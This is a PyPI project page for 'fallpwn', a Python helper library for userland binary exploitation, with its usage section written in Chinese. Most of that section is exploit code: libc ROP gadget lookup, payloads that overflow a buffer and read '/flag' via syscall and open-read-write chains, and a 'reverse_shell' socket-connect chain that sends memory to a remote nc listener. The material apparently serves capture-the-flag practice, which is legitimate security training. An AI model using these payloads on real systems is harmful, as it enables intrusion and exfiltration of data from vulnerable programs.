A useful tool for userland pwn.
Project description
[toc]
fallpwn
安装
依赖:
pwntools
使用pip
即可
pip install fallpwn
使用
获得gadgets
只需要传入libc
的ELF
对象,即可直接获得常用gagdet
地址
libc.address = libc_base # 使用前先设置libc基地址
finder = GadgetsFinder(libc) # 传入libc的elf对象
gadgets = finder.get_gadgets() # 获得gadgets字典,可以像正常字典一样使用
pop_rdi_ret = gadgets['pop_rdi']
leave_ret = gadgets['leave_ret']
生成常用ROP payload
syscall
生成指定syscall
的payload
:
payload = b'a'*0x18
payload += rop.syscall(0, 0, elf.bss()+0x400, 0x8)
payload += rop.syscall(1, 1, elf.bss()+0x400, 0x8)
sh.send(payload)
sh.send('/flag\x00')
sh.interactive()
orw
可以生成orw
的payload
:
# 定义对象
finder = GadgetsFinder(libc)
rop = RopPayload(libc)
# 获得字典
gadgets = finder.get_gadgets()
pop_rdi = gadgets['pop_rdi']
# 生成orw payload
payload = b'a'*0x18
payload += rop.read(libc.address-0x100, 0x10)
payload += rop.ropchain(libc.address-0x100)
sh.send(payload)
sh.send('/flag\x00')
sh.interactive()
此外,rop.ropchain()
还有多种参数,例如open
可选openat
,orw
可选sendfile
等。
socket + connect +write
可以生成将数据发送到远程监听处,以及生成所需的socket_address
的payload
:
# 定义对象
finder = GadgetsFinder(libc)
rop = RopPayload(libc)
# 获得字典
gadgets = finder.get_gadgets()
# 发送数据到远程
payload = b'a'*0x18
payload += rop.read(libc.address-0x100, 0x10) # 发送connect所需payload
payload += rop.reverse_shell(libc.address-0x100) # socket + connect
payload += rop.write(gadgets['/bin/sh'], fd=3) # 使用write发送数据
sh.send(payload)
sh.send(rop.get_sockaddr_payload(ip='127.0.0.7', port=9999)) # 发送connect所需payload
sh.interactive()
在指定ip
的服务器进行监听即可:
nc -l -vv 9999
# 或nc -l -p 9999
Project details
Release history Release notifications | RSS feed
Download files
Download the file for your platform. If you're not sure which to choose, learn more about installing packages.
Source Distribution
fallpwn-0.1.3.tar.gz
(5.0 kB
view details)
Built Distribution
File details
Details for the file fallpwn-0.1.3.tar.gz
.
File metadata
- Download URL: fallpwn-0.1.3.tar.gz
- Upload date:
- Size: 5.0 kB
- Tags: Source
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/5.1.0 CPython/3.10.12
File hashes
Algorithm | Hash digest | |
---|---|---|
SHA256 | fd0ee32f3652f3c478a04eacb91e7c266daa6f201e1574fadd2887e8fa8de575 |
|
MD5 | 9a2eb215ef168ddca9bf3414f7ebe3cf |
|
BLAKE2b-256 | 89cfc3db9890bcaae116af835d2ee663a7a0c428145da9c373e0b4e4deb1a292 |
File details
Details for the file fallpwn-0.1.3-py3-none-any.whl
.
File metadata
- Download URL: fallpwn-0.1.3-py3-none-any.whl
- Upload date:
- Size: 8.4 kB
- Tags: Python 3
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/5.1.0 CPython/3.10.12
File hashes
Algorithm | Hash digest | |
---|---|---|
SHA256 | 1d1da752ad70cc0690f212d11a1c9385f6259111d79b168884bf94211fee0e33 |
|
MD5 | d8ab0e22154e069235a22a0acb6b34a3 |
|
BLAKE2b-256 | 3ededb7cc68474b4dd5b465de17730df35464479418e56096b0881b4b731a8c2 |